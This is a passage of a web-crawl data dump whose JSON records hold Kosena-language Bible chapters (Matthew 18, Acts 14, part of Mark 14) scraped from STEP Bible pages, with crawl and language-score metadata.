2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.7","date":"2018-04-20T07:14:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937161.15\/warc\/CC-MAIN-20180420061851-20180420081851-00500.warc.gz","language":"kze","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999990463256836}","num_words":643,"character_repetition_ratio":0.062,"word_repetition_ratio":0.003,"special_characters_ratio":0.159,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 18\nnááwa kwéusayaaitaiyo siráan-kwasai.1 mitáwai Ísuna kwayó-kwáásí kwenópaꞋa tésa taáísaa esa sésa Áánútu kwená kwaásimo kawááin-kwaasivinkemba nááwa usáyaaitesa anón-kwaasi-iꞋa kwéoo suwaná 2 Ísu moórá-iyampoi ááyowana túwana avumpimbá aránkena 3 séna áraiꞋa simátimeꞋa séꞋa sen-ímáyáámó ímo tuwéꞋo iyámpóímo ímo usáyaaitanae-imayaamo ontembó keinárawaꞋa mirán-ímáyáámó ímo íyanamo éna Áánútu kenkáꞋá íma kawááiniye. 4 miníyámpóígó tísamaivimbo máíntemba mirámó kwéowai Áánútu kwená kwaásimo kawááin-kwaasivinkemba kwéusayaaitaawe. 5 kentávésa imáyáa kwéesa iyámpói áwaꞋnaa onten-umái kwésuwaꞋnaa-owe Ísu siráiye.\nsáwíꞋa kwéon-kwasai.6 Ísu mináímbá simásuwena séna iyámpóígomo kesááiyavenamo árairemo sintenkáán-umai évakarawai áraire kwésewe. évakarawai tésa kesááiyavesamo áraire kwésewaima kampar-áímbá tasimátimiyasa isésa sáwí-ampaꞋa kówíyasa Áánútu kampaꞋó síyawaima sáwí-meyamba anómba timínívo miwímó tinumarampimbó anón-ontambo aríkwímaresamo nompímbó túwááwasamo kumésamo kumpuwésarakai kampar-áímbá íma simátíméwasa sáwí-ampaꞋa íma kosinó. mindá kanaán-iye. 7 marapáꞋá máyáankaꞋa kesáái tuwésa sáwí-ampaꞋa kónááontavena óꞋon-oꞋon-tantaako kwétavisiye. mirá-sáwí-tántáákó kwaíkwaiꞋa kwéimba pósa sáwí-ambo óꞋowimo agaráátínkáawai sáwí-meyamba mayánááowe. 8 tiyáánkowaꞋi. tísamaigowaꞋi. sáwíꞋo ínaꞋa misáwí-ámpáꞋá kúnavo séꞋa moórá-tiyaanaꞋi. moórá-tisamaiyaꞋi. arátúwáaro. kae-tíyáánáꞋi. kae-tísámáíyáꞋi. kwáyainaꞋo éꞋa sáwí-marupaꞋo iramó kwégaipaꞋa kónááomba mindá sáwíꞋan-iye. sáwíꞋo uráimbo maisuwéꞋo máyáamba mindá kaweꞋán-iye. 9 túrankomo sáwíꞋo ínaꞋa misáwí-ámpáꞋá kúnavo séꞋa moórá-turamba pítuwaaro. kae-túrándéímo awánéꞋo éꞋa sáwí-marupaꞋo iramó kwégaipaꞋa kónááomba mindá sáwíꞋan-iye. sáwíꞋo uráimbo maisuwéꞋo máyáamba mindá kaweꞋán-iye Ísu siráiye.\nsipisípi-poimo áúyokain-kwasai.10 Ísu séna úwoi-kwaasiyaveꞋa úwoisamban-owe íma séꞋa kárákwiyoro. Áánútuna kwayóꞋnárawaꞋa kwíyómpakewai miwíráꞋá kárákwiraawai kesivo kwíyómpakewaina egwaaꞋá mésa miwí táái kwésimamevo kárákwiyoro Ísu siráiye.\n[ 11 Ísu mináímbá simásuwena séna kemá kwaási úrandako kumpaáruraundawai Áánútuna aampaꞋó ímo kwégwaraan-kwaasiyaveꞋa tivakáá-umai sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métínkáandayaveꞋa kunkáumne.] 12 sipisípiraꞋa kárákwiyowai kwéon-aimba ísáaro. moóráwai sáwíva-sipisipi 100 sipisipiraꞋa kárákwiraisana moórá-sipisipi áúyokwisana misáwívá-sípísípímó umó kwénaamba tiyuwéna moórámo áúyokwimba koavakáá eémena 13 awánénamo imbá aamoí kwéena séna kesí sipisípi áúyokwimba áíkaumne séna mimbóráwáíná aamoí anómba éna sáwíva-sipisipi ímo áúyokombo úwoimo máyáawaiti aamoí sáwíyankaꞋa kwéiye. 14 sipisípiraꞋo kárákwiyowaimo áúyokwi-sipisipiyavenamo arunkómó umbaimó taintembá kentivo kwíyómpakewai kwená aampaꞋó ímo kwégwaraan-kwaasiyavena arunkó umbaí kwétaiye Ísu siráiye.\nkentí kwaási sáwíꞋa umátínkáan-kwasai.15 Ísu mináímbá simásuwena séna ená kwaási Áánútuna kwaásigomo embó sáwíꞋo umánkainamo e kwempáꞋá mináíntáváí kosimámínana kwewé suꞋmai máyaindaraꞋa kosimámínana enáái isénamo arupí umánkainamo ékai kwesé esé kaweꞋá umái máékaiyo. 16 enáái ímo isáínamo e moóráwaiyaꞋi. kaekónáꞋi. kotíꞋmai kwempáꞋá simámiyo. Áánútun-aai aúváívimba agaimaréna séna moóráwaimba aaivimbá mayankánáe séna mináímbá ísarewai kaeráꞋi. kaumbowáꞋi. tíꞋmaena mátinkena áísaa umai isáníye siráimba mindáyavena ená kwaási enáái isáníntavena moóráwaiyaꞋi. kaekónáꞋi. kotíꞋmai kwempáꞋá méꞋa simámiyana kentáái isáíno. 17 ánivo ímo isáínamo e Áánútuna kwaási torupamátinke enáái simátímínasa mésa simámiyana kwemó miwí tááimo ímo isáínamo e imáyáa e se Áánútuna aambó ímo kwáráan-kwaasiraamba éna táákísi-umoyan-kwaasiraamba kwéiye siyó Ísu siráiye.\n18 Ísu séna áraiꞋa simátimeꞋa séꞋa marapáꞋó máyáankaꞋa sáwíꞋo ombá aambó aunónaaonten-umai Áánútu kwíyómpaꞋa ména áꞋa aambá áúmbakaiye. kaweꞋó ombá ímo aambó aunónaaonten-umai Áánútu kwíyómpaꞋa ména áꞋa mirá uráiye Ísu siráiye.\n19 Ísu mináímbá simásuwena séna moórá-aimba simátíménda ísáaro. marapáꞋó máyáankaꞋa kae-kwáásígóráímó moórá-aintavesaraimo mimbórá-ímáyáámó ésaraimo kesivo kwíyómpakewaimo áísaa íyanamo éna mirá umátinkaniye. 20 kaumbo-káé-kwaasi kentávésa imáyáa ésa torupamái máyáamba túwaꞋnaa ónaundayaveꞋa miwísé ménaumne Ísu siráiye.\n21 Ísu mináímbá súwana Pítaa ÍsunopaꞋa téna séna Ísóigoo kesí kwaási sáwíꞋo umásínkávaꞋo kwéiyomba mindáyaveꞋa nóraumai-tawai íma aaivimbá mayankéra íma imáyáa éra ivátuwanaumno. avakaeté-tawaima sáwíꞋa umásínkáimba íma aaivimbá mayankéꞋa íma imáyáa éꞋa ivátuwaunda póꞋa moórá-tawaimo sáwíꞋo umásinkaindaraꞋa aaivimbá íya mayankéra. íya imáyáa éra. ivátuwanaumno súwana 22 Ísu séna íma avakaeté-tawaiye suꞋmainivo úwoi mirá úmae iyuwó Ísu siráiye.\nóntamba ámakaintavai íma ivátuwaao siráin-kwasai.23 Ísu séna sáwíꞋo umátínkáamba íma imáyáa éꞋa ivátuwaaromo súnda maarán-iíyávéꞋa séꞋa Áánútu kwená kwaásimo kawááin-aimba maarán-áímbán-iye. moórá anón-kwaasigo kwená mayáí-kwáásí óntamba kwááyu tímakena 24 tísaa ónáe kwéimba anón-ontamba 10,000,000 ontamba kwááyu ámakaiwaimba moóráwai áíꞋmaena móaminkwae séna íyísana 25 íma móamintavena óntan-anavo séna kwembá airéꞋa awainínkómbá airéꞋa kwená iyámpóíye kwená póíye kwená óísane maimaéꞋa óꞋon-kwaasiti mayáí mayáníntaveꞋa miwí kwétimeꞋa óntamba maimaéꞋa kemó tukáunda-ontankaamba umái másíméro sisaná 26 kwená mayáí-kwáásígó aísamaivimba kumbaéna séna arumbá umásinkema simuꞋmakénaꞋa óntamba avakáá-éꞋa amápaꞋa áméno sisaná 27 kwená anón-kwaasigo arumbá umánkena séna kanaán-ivo kwááyu ámakaunda-ontamba íma imáyáa ónaumpo ivátuwaao sisaná 28 mayáí-kwáásígó máápaꞋa kuména moórá mayáí-kwáásígómbá awánéna sáwíyan-ontamba 100 ontamba ámakaiwaimba awánéna amósámba kumbapaména anónkaꞋa séna kwááyumo ámakaunda-ontamba avekáámbá simiyó sisaná 29 kwenaísamaivimba kumaéna séna arumbá umásinkema simuꞋmakénaꞋa óntamba avakáá-éꞋa áméno sisaná 30 íma iséna áíꞋmaena ándávaꞋa móankena séna kwááyumo ámakaunda-ontamba símínasa ayúránkáaro sisasá 31 mayáí-kwáásíyómbá awánésa tirumbá umánkesa miwítí anón-kwaasiraꞋa kosimáméwana 32 anón-kwaasigo iséna kwená mayáí-kwáásígó sáwívar-ontamba 10,000,000 ontamba mairáiwaimba ááyaisana tisaná séna sáwí-mayai-kwaasi óne. kentáváí arumbá umásinkaao séndayaveꞋa mirá éꞋa anón-ontamba kwááyu ámakaunda-ontamba íma imáyáa ónaumpo ivátuwe íma simiyó séꞋa 33 sirumbó umánkaraundantemba moórá-mayai-kwaasigomba arumbá umánkááraamba sáwíꞋa óne séna 34 arumbá anómba sáwíꞋa umánkena ándávaꞋo kárákwiraindakonkaꞋa móankena séna kwááyumo ámakaunda-ontamba amápaꞋa simína ayúrankaao sisaná ándávaꞋa ánkaraiye Ísu simásuwena kwená kwayó-kwáásíyávéna séna kentí kwaásimo sáwíꞋo umátínkáambo ímo ivátuweꞋo imáyáamo úmae kwéiyiyanamo éna kesivo kwíyómpakewai kentí sáwí-mayai íma maitiyuwáníye. óntan-anavomo intembá kesivo mirá umátinkaniye Ísu siráiye.\n35\naarakwáꞋó tasáén-aimbo siráin-kwasai.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.18","date":"2018-04-23T15:29:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946077.4\/warc\/CC-MAIN-20180423144933-20180423164933-00634.warc.gz","language":"kze","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000029802322388}","num_words":885,"character_repetition_ratio":0.051,"word_repetition_ratio":0.009,"special_characters_ratio":0.158,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 14\nPóroe Páánápáasiye Áíkóniyamu-naopaꞋa kurááyan-kwasai.1 Póroe Páánápáasiye Áíkóniyamu-naopaꞋa kwésarai ááémo urááyantemba Yútaa-monoꞋ-naumpaꞋa umésarai áséi-kwasai asiramái simátímúyasa isésa sáwíva-kwaasi Yútaa-kwaasiye óꞋonkaa-kwaasiye Ísun-aaiyavesa áraire sésa kwempáꞋá tésa máyómbanivo 2 évaka-Yutaa-kwaasi Ísun-aaiyavesa tínaaemba umámesa íma áraire sirówai Póronte Páánápáasinte sáwí-aimba simátínkówasa óꞋonkaa-kwaasi isésa mindáraiye Ísun-aai ísówaiye tirumbá sáwíꞋa umátínkómbanivo 3 mindárai ayáátáákaꞋa mindáópaꞋa mésarai miwí táároi íma inkaisésarai Ísóigon-aai asiramái simátímúyana Ísóigo kwaási úwoi kaweꞋá kwéumatinkaimba awánaigwae séna mindárai kwená asirayámbá timúwasarai ímo awánarom-bayai kaweꞋ-máyáí máyóyasa 4 mindáópakewai kaepí taaínkaar-urésa évakarawai sésa Yútaa-kwaasi tááiyavesa áraire suwasá évakarawai sésa aantá-kwaasi tááiyavesa áraire siráawe.\n5 suwasá óꞋonkaa-kwaasiye Yútaa-kwaasiye miwítí anón-kwaasiye torupamái mésa tímááyu-aimba sésa óntandei Póronte Páánápáasinte tínkamonae suwasaráí 6 mináímbá isésarai kaweꞋó íyapaꞋa méyae sésarai Áríkoniyaa-maravaꞋa kwésarai Árísitaa-naopare Tépi-naopare óꞋon-oꞋon-daopare 7 áséi-kwasai simátímaꞋmaesarai kurááiye.\nÁrísitaavaꞋa TépivaꞋa kurááyan-kwasai.8 moóráwai Árísitaa-naopaꞋa anówa arupinkémbá aísamai sáwíꞋa umáguromba maránkarowana íma aaíntómba ááémo maúnkaꞋa ména 9 Póro kwésimatimun-aimba iséna árair-aimba kwésimba póna kaweꞋá umásinkaniye-imayaa úwana Póro minímáyáámó úmba awánéna arááꞋa avuwéna 10 anónkaꞋa séna enaísamaine usásinaao súwana usásinkwena aamoí éna kweyááríkaꞋa marapáꞋá kúmba 11 sáwíva-kwaasi Póromo úmba awánésa miwí tááivinkemba Áríkoniyaa-aimpinkemba sésa kentáásí ísóigorai kwaásiraan-umai marapáꞋá kentáávímbá kumbáyaaiye sésa 12 miwítí ísóigo áwíꞋa mindárai tamátimesa sésa Páánápáasintavesa Súsiye sésa Pórontavesa aaiyé simátímíwaiye sésa Émísiye sirá. 13 marukón-awampaꞋa minkámpár-ísóígó áwíꞋa Súsi kwená monoꞋ-námbá kwáyowana minkámpár-ísóígóntáváí ísámai póíꞋo umándon-kwaasigo purumakambá kwémaena moigwáán-aramba kwétararena umái maimaéna mindáókona kuri-óntáráꞋá mói marówasa sáwíva-kwaasi miwítí ísóigontavaimo póíꞋo umándaante miráumai Ísuna aantá-kwaasirairaꞋa póíꞋa umándanae 14 sun-áímbá isésarai sáwíꞋan-iye sésarai kentí unáánkwátói tarátuwesarai isaaisésarai sáwíva-kwaasivimba komaésarai anónkaꞋa sésarai 15 kenkáí nóra ónáera kwéoo. keiráí kemó onten-kwáásí úye. áséi-kwasai tasimátimuyamba póꞋa mirán-kámpáríꞋo tuwéꞋa árair-IsoigompaꞋa teró. árair-Isoigo kwíyómba éna maramá éna uwí-nómbá éna mimpímbá kwáyáin-tantaaꞋa úmarena asirayánkwáráwáí máyáiye. 16 ááéma Áánútu úwoi tíyukowaꞋa kentí imáyáavinkemba amápaꞋ-mapaken-kwaasi kwénaaesa 17 miráumai kwéombanivo Áánútu máyáiye sígwáe séna aaí sisaná aaꞋá téna toónkó kaweꞋá isaꞋá kwéneꞋa tirumpimbá aamoí kwéowe. miráumai awánéꞋa mirámá iní-Ísóígó máyáiye sígwáe séna Áánútu kaweríꞋa kwéiye 18 mindárai mináímbá suyasá amápa-kwaasi asirésa mindárairaꞋa póíꞋa umándanaumne kwésuwasarai íma mirá oró simái tuvímbaesarai íyúyasa ivátukaawe.\n19 ivátuwowasa évakaꞋ-Yútaa-kwaasi Písítiyaa-maravaꞋa Ántíoku-naopakemba évakaꞋa Áíkóniyamu-naopakemba tésa amápa-kwaasiti imáyáa tavisuwasá isésa Póromba óntandei tuvuwésa áꞋa púwiye-imayaa ésa tavisímaesa mindáókona awámpáꞋá mátúwówasa 20 Ísuna aampaꞋá kuwáí taúkúmakesa taawánowana usásinena mindáópaꞋa kwéna kogaúmba usá aaváyaavimba usásinesarai Pórowe Páápápáasiye mindáópaꞋa tuwésarai Tépi-naopaꞋa kurááiye.\nSíriyaa-maravaꞋa Ántíoku-naopaꞋa ókwaraꞋa kurááyan-kwasai.21 Pórowe Páánápáasiye Tépi-naopaꞋa áséi-kwasai kosimátímúyasa isésa áraire sésa Ísuna aampaꞋá kwéguwasarai mindárai Árísitaa-naopaꞋa ókwaraꞋa komésarai minkákémbá Áíkóniyamu-naopaꞋa komésarai minkákémbá Písítiyaa-maravaꞋa Ántíoku-naopaꞋa ókwaraꞋa komésarai 22 miráumai kwénaaesarai Ísóigon-aaiyavesa áraire sirówai miwítí imáyáa asiramátinkesarai sésarai Ísuna aampaꞋá asiramái koró sésarai Áánútu kwená kwaási kwégawaaipaꞋa kónáe séꞋo éꞋa minámpáꞋá umbaiyé tain-ámpáꞋá kónááowe sésarai 23 miráumai mindáópata kwénaaesarai maará ésarai Ísóigona kwaásivinkemba miwítí anón-kwaasi usásintinkavaꞋa kuyasá Áánútuna imáyáa ésa toómbá íma nésa námúnaawe suꞋmai kwésesa mindárai ÍsóigompaꞋa aráápamai máyówaiyavai Ísóigo kárákwitinkamae iyíníye simátímakaaiye.\n24 simátimesarai Písítiyaa-maravaꞋa kóyaaitesarai Pámpíriyaa-maravaꞋa kwésarai 25 Pékaa-naopaꞋa komésarai áséi-kwasai kosimátimesarai minkákémbá Átériyaa-naopaꞋa kumésarai 26 nompí-sípí tátoꞋmai usáatesarai teémesarai Síriyaa-maravaꞋa Ántíoku-naopaꞋa ókwaraꞋa tirááiye. ááéma mindáópaꞋa Ísóigona kwaási mindáraiyavesa Áánútu túwaꞋnaa úmaena iyínívo kwená mayáí komáyáakaiyo sirówasarai mimbáyáí komaisuwésarai tirááiye.\n27 ÁntíokuvaꞋa tuyasá Ísóigona kwaási tayorupamái máyówasarai Áánútumo simátimuniꞋo urááyan-aimba sésarai Ísuna aampaꞋá óꞋonkaa-kwaasi agaráátinkauyasa mináíntáváí áraire sésa minámpáꞋá kwégowe-aimba tasimátimesarai 28 mindáópaꞋa Ísun-aai ísówai ayáátáákaꞋa méraaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.14","date":"2018-04-21T11:55:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945143.71\/warc\/CC-MAIN-20180421110245-20180421130245-00260.warc.gz","language":"kze","language_score":0.9999622107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999622106552124}","num_words":651,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 14\nÍsuna ámááyu-aimba siráan-kwasai.1 Ísu mináímbá simátimuwana naaóváꞋó Áánútu Yútaa-kwaasi tíyótaasa í-tánómbá ímo intóráin-tantaakwara-pereti kwéagayon-kanaama ayúnkaraamba kauvónaumpo sésa kae-táwaima úwoi mésa mono-káwáá-kwáásíyé ámáámba sun-kwááíyé sésa nóraumaiya Ísumba aúpáꞋá tátoꞋmai inkamónaundayaꞋiyo. 2 amápa-kwaasi ááiꞋa tíyáávainivo tanómbo kauvíyan-kanaaraꞋa íma tuvuwónaumne siráawe.\nÍsumba áséi-masawemba pérankarain-kwasai.3 suwaná Ísu Pétáni-naopaꞋa koména moóráwai áwíꞋa Sáímonina naaúmpaꞋa áúma kárúkokovaaꞋa uréna ánásarowaina naaúmpaꞋa ména toómbá kwénowana moórá-ininko iyéna áséi-kwiyumba úm-basawemba anón-ontankakemba meéyámbakaim-basawemba maimaéna iyúmba minánávéúnkó óiꞋa móankaisuwena Ísu aꞋnómpímbá atímarowasa 4 évakarawai keáímbá sésa áwááꞋa aéésa nóra séna mimbásáwémbá úwoi atíyankaiyo. 5 mimbásáwémbó óꞋowimo timénamo anón-ontambo mairénamo ímo óísambo makáan-kwaasi tíméraambaniye sésa minínínkómbá áwááꞋa áúwana 6 Ísu séna ivátuweꞋa íma áwááꞋa aééro. kaweꞋá umái pésinkaiye. 7 ímo óísambo máráan-kwaasi keséma maíꞋmaiꞋa kwéiyaꞋa túwaꞋnaa ónáe séꞋa túwaꞋnaa ónááombanivo kemá keséma marapáꞋá íma maíꞋmaiꞋa ónaumne. 8 minínínkómá kwená imáyáavinkemba kaweꞋá umái pésinkaiye. púwóndaraꞋa masawémba pésinkesa utamásinkanaaovo minínínkó áꞋa masawémba pésinkaiye. 9 áraiꞋa súmpo maísááro. kesí áséi-aimba amápaꞋ-mapaꞋa kwésimatimewasa minínínkómá umásinkain-aimba kwésimatimiyasa táákaꞋa maránááowe Ísu siráiye.\nYútási Ísuna kuntaruꞋá mairáin-kwasai.10 súwana Ísuna kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasivinkemba moóráwai áwíꞋa Yútási moórá-awiꞋa Isakéríóti mono-káwáá-kwáásítópaꞋa kwéna séna túwaꞋnaa onaꞋá Ísumba tátoranaaowe súwasa 11 isésa aamoí kwéesa sésa mirámó inda-méyámbá óntanta aménaumne suwaná nóraumai Ísumba agaráátínkáanasa tátoranaao-imayaa ááimba ásámai uráiye.\ntíyótaasa í-tánómbá kauráan-kwasai.12 Yútaa-kwaasi ímo intóráin-tantaakwara-pereti kwéagayon-kanaa túntemba tíyótaasa í-tánón-kánáá sipisípi-araaꞋa tuvúꞋmái kwégauvunkaꞋa kwená kwayó-kwáásí Ísumba taáísaa esa sésa náávara tíyótaasa í-tánómbá kogauvónaundayaꞋiyo suwaná 13 kaeꞋá tiꞋmaréna séna Yérúsaremu-naopaꞋa kwíyana moóráwaimo nonánámó maimaénamo kwíndawaimba kóánaaemba kwáráakaiyo. 14 kwemó naaúmpaꞋo iyínanamo naankó avowámó máyáinakai kosimámekai anóndakoma áísaa ena séna kesí kwayó-kwáásíyé náán-ayampara tíyótaasa í-tánómbá nánaumno kwésiye kosimámékaiyo. 15 kwemá avóvomayaaꞋ-nankomba anón-ayampaꞋa agaráátinkaniye. kísuvuꞋo umándanaaon-tantaaꞋa mimpímbá kwáyáiye. amápa-tantaaꞋa arúsámarekai minkáꞋá kausínkáakaiyo súwasarai 16 mindárai isésarai Yérúsaremu-naopaꞋa kwésarai Ísumo sún-tantaaꞋa kwáyowasarai minkáꞋá tanómba mágauwankaraaiye.\n17 tanómba mágaumakoyasa enónkaꞋa Ísu kwená kwayó-kwáásíyé mindáúmpáꞋá umésa 18 toómbá kwémandesa uwaná Ísu séna keinárawapinkemba moóráwai keséya toómbá kwénaiwaima kembá namuro-kwáásíráꞋá agaráátinkaniye súwana 19 tirunkó umbaí tówasa moórá-mora-umai áísaa esa sésa kewáꞋiyo sinté kuwaná 20 Ísu séna moóráwai kwená toón-ayai maimaéna kesé moórá-taavepimba tuꞋmái náíndawai kwemá kembó namuro-kwáásíráꞋó agaráátinkaniwaiman-iye. 21 naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna kwaási úrandako kumpaáríndawai puwíníye siráintemba póꞋa púwónana namuro-kwáásíráꞋó agaráátinkaniwai sáwí-meyamba mayáníye. kwembó ímo maránkaraankakaankasi kaweꞋá isinó Ísu siráiye.\nÍsu kwená kwayó-kwáásí toómbá tímakain-kwasai.22 súwasa toómbá kwénowana Ísu péréti maisoréna ÁánútumpaꞋa súwi séna topámbai tímatuwena séna mindá kesúman-ivo maimái naaró séna 23 ándá-aran-dombo kwáyon-anaveumba maisoréna ÁánútumpaꞋa súwi séna timúwasa amáparawai nowaná séna mindá kesí naaemán-iye. 24 kesí naaemá sáwívarawaiyavai kumínímba póna Áánútu kesé tarúmai máyáawe séna mináúná-áímbá simái tarúmakaiye. 25 simátimeꞋa séꞋa ókwaraꞋa ándá-aran-domba íma nánaumpo Áánútu kwená kwaási kwégawaaipaꞋa méꞋa ándá-aran-domba aúná-nomba nánaumne Ísu súwasa 26 Áánútuntavai ísámai monor-ímá simásuwesa mindáúmpáꞋá tuwésa Óríve-omapaꞋa iráawe.\nPítaa ánaaemba umásinkaniye siráin-kwasai.27 Óríve-omapaꞋa umáyówana Ísu simátimena séna Áánútun-aai aúváívimba agaimaréna séna Áánútu séna\n- sipisípiraꞋo kawááiwaimba tuvúwónana puwínasa\n- sipisípiyomba kóyáwé ónááowe Áánútu siráiye\nÍsu KétésémanivaꞋa námúnaa siráin-kwasai.32 amápaꞋa mirá simásuwesa Ísuwe kwená kwayó-kwáásíyé taai-kanáágúnéyómbá áwíꞋa KétésémanivaꞋa komésa Ísu simátimena séna maankáꞋá máyaiyaꞋa ÁánútumpaꞋa námúnaa kosénaumne séna 33 Pítaawe Yémésiye Yóniye tíꞋmaena komáyowana umbai-yántáákómá arumbá sáwíꞋa kwéuwana 34 simátimena séna kesirunkómá umbaiyé taisaꞋá póꞋa puwóraꞋnaraamba umái máyaumne. maankáꞋá méꞋa kárákwimai máéro séna 35 tiyuwéna egwaaꞋá kwéna Áánútu anóndaꞋan-iye séna maraꞋá kumbaéna námúnaavinkemba séna kesivoó amápa-tantaaꞋa kanaán-umai kwéonda po kanaán-iye sémo e maanúmbáí-yántááꞋó kesópaꞋo tínímba maisiyuwéma ánivo kesí imáyáa íma kwarénaꞋa ená imáyáa kwáráano Ísu siráiye.\n37 Ísu námúnaa simásuwena kwená kwayó-kwáásíráútópaꞋa téna tayuwánómba tuún-kwaigurówana tayúsena Pítaantavena séna Sáímoniyo aún-kwaiguréma íma kanaaráꞋá sáwíyankaꞋa kárákwimai máyáane. 38 Sáátáánigo tísaa umai isánáe-aimba kentópaꞋa síyáváínivo ÁánútumpaꞋa námúnaa seró. imáyáago kató isaná áúgomo umbaimó taimbá mindá aúgávaaꞋa kwéiye simásuwena 39 moórágwaraꞋa tiyuwéna egwaaꞋá kwéna kéꞋnaamba ÁánútumpaꞋa námúnaa kosimásuwena 40 kwená kwayó-kwáásítópaꞋa téna tayuwánómba tuún-kwaigurésa túgávaate kwéuwasa nóran-ainaꞋi. anondá íma simámuwana 41 tiyuwéna kéꞋnaamba námúnaa kosimásuwena koyauweréna minkáúmbónárauyavai séna tuúmó kwaiguréꞋo máyáamba áꞋanivo kemá kwaási úrandakomba sáwíꞋo kwéon-kwaasiraꞋa agaráátinkainasa tátoranaaon-kanaa kwétivo 42 usásinewata kwétiyapata konó. kembó agaráátinkaniwai kwétiye Ísu siráiye.\nÍsumba tátokaan-kwasai.43 Ísu mináímbá kwésuwana kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasivinkemba moóráwai áwíꞋa Yútási túmba kwesé sáwíva-kwaasi taánasatagwara ánáyatankwaraꞋa maimaésa tumbá mono-káwáá-kwáásíyé ámáámba sun-kwáásíyé Yútaa-anon-kwaasiye miwímá tiꞋmárówasa tumbá 44 ááéma Yútási Ísumbo agaráátinkanintavai simátimena séna paruvará umánkáandawaimba tátoꞋmai áíꞋmaeꞋa tavíꞋmaeꞋa koró siráimba 45 póna Yútási ÍsunopaꞋa téna séna anóndakoo máyaano kwésena paruvará kwéumankowasa 46 kwesé tuwáí Ísumba tátórówana 47 Ísuna kwayó-kwáásívínkémbá moóráwai taánasatama maimaéna aivaꞋ-mónó-káwáánákóná kwayó-kwáásígó ááꞋa agáúsuwowana 48 tun-kwáásíyávéna séna kentáváí umóyán-kwáásímán-iye séꞋa póꞋa taánasatagwara ánáyatankwaraꞋa maimaéꞋa kembá tátoranae séꞋa kwétewe. 49 sáwíva-tawai anóm-bonoꞋ-naumpaꞋa kesé méꞋa kesáái kwésimatimundaraꞋa íma kembá tátokaawe. naaóváꞋá Áánútun-aai aúváívimba agaimakáan-aimba kembó mirámó umásínkéneꞋa kwétewe súwasa 50 kwená kwayó-kwáásí amápaꞋa inkaisésa auwésa kóyáwé uwasá tun-kwáásí Ísumba áíꞋmaesa kwéguwana 51 moórá ívé-kwaasigo ampaantawé suꞋmai úsúrena Ísun-ánaaemba kwéguwasa tátorankowana 52 ampaantamá kwatuwéna kwátóiyaaimba kuráiye.\nanón-kwaasi Ísumba aaí simánkaraan-kwasai.53 kúwasa Ísumba tátorowai áíꞋmaesa aivaꞋ-mónó-káwáánákóná naaúmpaꞋa móankesa mindáúmpáꞋá mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye ámáámba sun-kwáásíyé torupamái máyón-daumpaꞋa móankowana 54 Pítaa tínaaemba nénkaꞋa teémáyomba aivaꞋ-mónó-káwáánákóná máápar-ontavinkemba iréna naamaúvaꞋa ména i-kwáásíyé iraráꞋá koména irá kwégauviye.\n55 Pítaa irá kwégauvuwasa mono-káwáá-kwáásíyé Yútaa-anon-kwaasiye amáparawai Ísumba tuvuwíyana puwíní-ainkona ááimba avakáá-uwana íma kwáyowasa 56 Ísuntavesa mósi-mesi-aimba sésa íma moórá-aimba suwasá 57 évakarawai usásinesa kampaꞋá sésa 58 kwemó sisatáámó isáúndaya anóm-bonoꞋ-namba kwaási uráan-damba tawísíyuweꞋa kaumbo-táwai kwaisuwéꞋa kwaásimo ímo íyan-damba ónaumne siráiye suwasá 59 minkwáásí íma moórá-aimba 